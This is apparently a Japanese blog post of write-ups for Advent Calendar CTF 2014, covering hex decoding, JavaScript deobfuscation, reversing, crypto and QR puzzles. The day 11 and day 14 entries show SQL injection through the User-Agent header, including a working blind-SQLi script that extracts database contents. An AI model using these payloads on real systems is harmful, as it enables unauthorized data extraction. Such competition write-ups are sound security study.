Advent Calendar CTF 2014 に参加しました
あまり時間が割けなかったのですが、楽しかったです!
Writeup
warmup (misc, day 1)
16進数で書かれた ASCII コードを文字に直すだけです。
#!/usr/bin/env python3
import codecs
h = '0x41444354465f57334c43304d335f37305f414443374632303134'
print(codecs.decode(h[2:], 'hex_codec').decode())
FLAG: ADCTF_W3LC0M3_70_ADC7F2014
alert man (web, day 2)
ページ内の JavaScript が一部難読化されているので eval
を alert
とか console.log
とかに変えてデコードするのを2回やると、読めるコードが出てきます。それによると、フラグは次のように計算しているようです。(t
に格納している)
cs = [5010175210, 5010175222, 5010175227, 5010175166, 5010175224, 5010175218,
5010175231, 5010175225, 5010175166, 5010175223, 5010175213, 5010175140,
5010175166, 5010175199, 5010175194, 5010175197, 5010175178, 5010175192,
5010175169, 5010175191, 5010175169, 5010175146, 5010175187, 5010175169,
5010175146, 5010175218, 5010175149, 5010175180, 5010175210, 5010175169,
5010175187, 5010175146, 5010175216];
t = '';
for (i = 0;i < cs.length; i++) {
t += String.fromCharCode(cs[i] ^ 0x123456789 + 123456789)
}
the flag is: ADCTF_I_4M_4l3Rt_M4n
listen (misc, day 3)
サンプリング周期が 1 Hz になっているので 25000 Hz くらいにすると聞こえるようになります。 参考ページ にしたがって WAV ファイルのヘッダ部分を書き換えると楽です。
FLAG: ADCTF_SOUNDS_GOOD
easyone (reversing, day 4)
objdump -d easyone
で見てみると、配列に代入 (movb) しているっぽいところがあります。
配列の順に代入しているわけではないので、書き込み位置でソートして順に文字を見ていきます。
#!/usr/bin/env python
pairs = [(0x37, -0x2a), (0x33, -0x1e), (0x31, -0x25), (0x48, -0x29),
(0x37, -0x22), (0x4f, -0x18), (0x35, -0x1c), (0x35, -0x27),
(0x4f, -0x20), (0x5f, -0x1a), (0x79, -0x1b), (0x33, -0x14),
(0x43, -0x2e), (0x52, -0x17), (0x31, -0x28), (0x54, -0x2d),
(0x35, -0x24), (0x46, -0x19), (0x41, -0x30), (0x5f, -0x16),
(0x4d, -0x15), (0x5f, -0x23), (0x5f, -0x26), (0x6f, -0x21),
(0x5f, -0x2b), (0x34, -0x1d), (0x46, -0x2c), (0x5f, -0x1f),
(0x44, -0x2f), (0x0, -0x13)]
print(''.join(chr(p[0]) for p in sorted(pairs, key=lambda p: p[1])))
FLAG: ADCTF_7H15_15_7oO_345y_FOR_M3
shooting (web, day 5)
shooting.min.js
の this.direction=n
となっている部分を this.direction=0
とすると、敵の弾が左から右に進むようになるので、簡単にゲームがクリアできるようになります。
FLAG: ADCTF_1mP05518L3_STG
paths (reversing, day 6)
ダイクストラ法とかを使って最短距離を求めるだけです。
#!/usr/bin/env python3
import queue
def compute_shortest_path(edges_list, start, goal):
distances = [None for i in range(len(edges_list))]
prev = [None for i in range(len(edges_list))]
heap = queue.PriorityQueue()
distances[start] = 0
heap.put((0, start))
while not heap.empty():
d, node = heap.get()
if distances[node] is not None and d > distances[node]:
continue
for next_node in edges_list[node]:
d = distances[node] + edges_list[node][next_node]
if distances[next_node] is None or d < distances[next_node]:
distances[next_node] = d
prev[next_node] = node
heap.put((d, next_node))
tracks = [goal]
while tracks[-1] != start:
tracks.append(prev[tracks[-1]])
if tracks[-1] is None:
return None
return list(reversed(tracks))
E = [[(96, 65)], [(64, 99), (82, 120), (3, 100), (19, 87), ......]
start = 0
goal = 99
edges_list = [dict(el) for el in E]
tracks = compute_shortest_path(edges_list, start, goal)
costs = [edges_list[tracks[i]][tracks[i + 1]] for i in range(len(tracks) - 1)]
print(''.join(chr(c) for c in costs))
FLAG: ADCTF_G0_go_5hOr7E57_PaTh
rotate (crypto, day 8)
2バイトずつに区切って、1バイト目と2バイト目を key
(rad) だけ座標回転していることがわかります。
つまり key
さえ分かれば、逆行列をかけることによって復号できます。
適当な粒度で key
を増加させて1周分見ることによってフラグを総当りします。
実際にすべて復号すると計算が大変そうなので JPEG のヘッダが \xff\xd8
であることを使って省略化します。
#!/usr/bin/env python3
import math
import struct
N = 2000
def round_float(x):
return max(min(round(x), 127), -128)
def decode(cipher, key):
segments = list()
for i in range(0, len(cipher), 8):
a = struct.unpack('f', cipher[i: i + 4])[0]
b = struct.unpack('f', cipher[i + 4: i + 8])[0]
x = + a * math.cos(key) + b * math.sin(key)
y = - a * math.sin(key) + b * math.cos(key)
segments.append(struct.pack('b', round_float(x)))
segments.append(struct.pack('b', round_float(y)))
return b''.join(segments)
with open('flag.jpg.enc', 'br') as f:
cipher = f.read()
for i in range(N):
key = 2 * i * math.pi / N
if decode(cipher[0: 8], key) == b'\xff\xd8':
with open('{0}.jpg'.format(i), 'wb') as f:
f.write(decode(cipher, key))
FLAG: ADCTF_TR0t4T3_f4C3
qrgarden (PPC, day 9)
画像分割して読み取ります。 画像分割は ImageMagick を使い、バーコード読み取りには ZBar を使いました。
mkdir img
convert qrgarden.png -crop 87x87 img/test.png
zbarimg img/*.png | grep ADCTF_
FLAG: ADCTF_re4d1n9_Qrc0de_15_FuN
xor (crypto, day 10)
暗号化の逆をやればよいのですが、自己を xor しているのが面倒です。
x ^ (x >> 2)
が2進数で 11111000 の場合を考えましょう。
とりあえず x = 11ABCDEF
であることは確定するので 11ABCDEF xor 0011ABCD = 11111000
が成立すればよいことになります。
このことから x = 1100EDEF
が確定するので、同様に 1100EDEF xor 001100ED = 11111000
を仮定すると x = 110010EF
が確定します。
というように上位ビットから確定させていく方法をとればなんとかなります。
#!/usr/bin/env python3
import codecs
def xor(x, n):
k = 8 - n
y = x >> k << k
while k > 0:
k = max(k - n, 0)
y = x ^ (y >> n >> k << k)
return y
def decode(cipher):
plain = list()
for i, x in enumerate(cipher):
for j in (1, 2, 3, 4):
x = xor(x, j)
if i > 0:
x = x ^ cipher[i - 1]
plain.append(x)
return bytes(plain)
cipher_hex = '712249146f241d31651a504a1a7372384d173f7f790c2b115f47'
print(decode(codecs.decode(cipher_hex, 'hex_codec')).decode())
FLAG: ADCTF_51mpl3_X0R_R3v3r51n6
blacklist (web, day 11)
User-Agent を細工することで INSERT INTO access_log (accessed_at, agent, ip) VALUES (NOW(), '$agent', '$ip')
の $agent
で SQLi できます。
例えば User-Agent: '+(select 123)+'
とすると 123 が挿入されます。
これが分かれば、あとは ord(substr('ABCDEF', 3, 1))
のような典型テクニックで、がりがりやるだけです。
information_schema.tables
と information_schema.columns
を見ると flag
テーブルに flag is HERE!!!
カラムがあることが分かります。テーブル名とカラム名が分かったので、とどめを刺します。
FLAG: ADCTF_d0_NoT_Us3_FUcK1N_8l4ckL1sT
secret table (web, day 14)
User-Agent を細工して SQLi します。
User-Agent: '+(select 1 where 1 = 1)+'
は OK で User-Agent: '+(select 1 where 1 = 0)+'
は Server Error になります。
これを使って BlindSQLi をすれば終わりです。
#!/usr/bin/env python3
import time
import urllib.request, urllib.error
URL = 'http://secrettable.adctf2014.katsudon.org/'
def make_req(table, column, s):
s = s.replace("'", "''")
sql = 'select {c} from {t}'.format(c=column, t=table)
ua = "'+(select 1 where ({0}) >= '{1}')+'".format(sql, s)
return urllib.request.Request(URL, headers={'User-Agent': ua})
def find_value(table, column):
fixed = ''
while True:
a, b = 0, 128
while b - a > 1:
c = (a + b) // 2
try:
wrapped = 'substr({0}, {1})'.format(column, len(fixed) + 1)
req = make_req(table, wrapped, chr(c))
with urllib.request.urlopen(req) as f:
a = c
except urllib.error.HTTPError:
b = c
time.sleep(1)
if a == 0:
return fixed
fixed += chr(a)
print(find_value('sqlite_master', "group_concat(sql, ',')"))
print(find_value('super_secret_flag__Ds7KLcV9',
'yo_yo_you_are_enjoying_blind_sqli'))
FLAG: ADCTF_ERR0r_hELP5_8L1nd_5Ql1
xmas (bonus, day 25)
FLAG: ADCTF_m3RRy_ChR157m42